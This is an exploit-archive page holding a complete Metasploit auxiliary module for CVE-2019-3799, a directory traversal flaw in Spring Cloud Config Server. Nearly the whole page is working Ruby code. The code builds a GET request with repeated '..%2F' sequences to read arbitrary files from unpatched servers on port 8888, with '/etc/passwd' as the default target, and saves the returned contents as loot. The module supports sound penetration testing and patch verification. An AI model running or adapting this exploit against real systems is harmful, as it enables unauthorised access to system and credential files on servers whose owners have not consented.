Spring Cloud Config 2.1.x - Path Traversal (Metasploit)

2019-04-30 18:05:12

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Spring Cloud Config Server Directory Traversal',
'Description' => %q{
This module exploits an unauthenticated directory traversal
vulnerability
which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,
versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
Spring
Cloud Config listens by default on port 8888.
},
'References' =>
[
['CVE', '2019-3799'],
['URL', 'https://pivotal.io/security/cve-2019-3799']
],
'Author' =>
[
'Vern', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'DisclosureDate' => '2019-04-17',
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(8888),
OptString.new('FILEPATH', [true, "The path to the file to read",
'/etc/passwd']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
])
end

def data
Rex::Text.rand_text_alpha(3..8)
end

def run_host(ip)
filename = datastore['FILEPATH']
traversal = "#{"..%2F" * datastore['DEPTH']}#{filename}"
uri = "/#{data}/#{data}/master/#{traversal}"

res = send_request_raw({
'method' => 'GET',
'uri' => uri
})

unless res && res.code == 200
print_error('Nothing was downloaded')
return
end

vprint_good("#{peer} - #{res.body}")
path = store_loot(
'springcloud.traversal',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end

Fixes

No fixes

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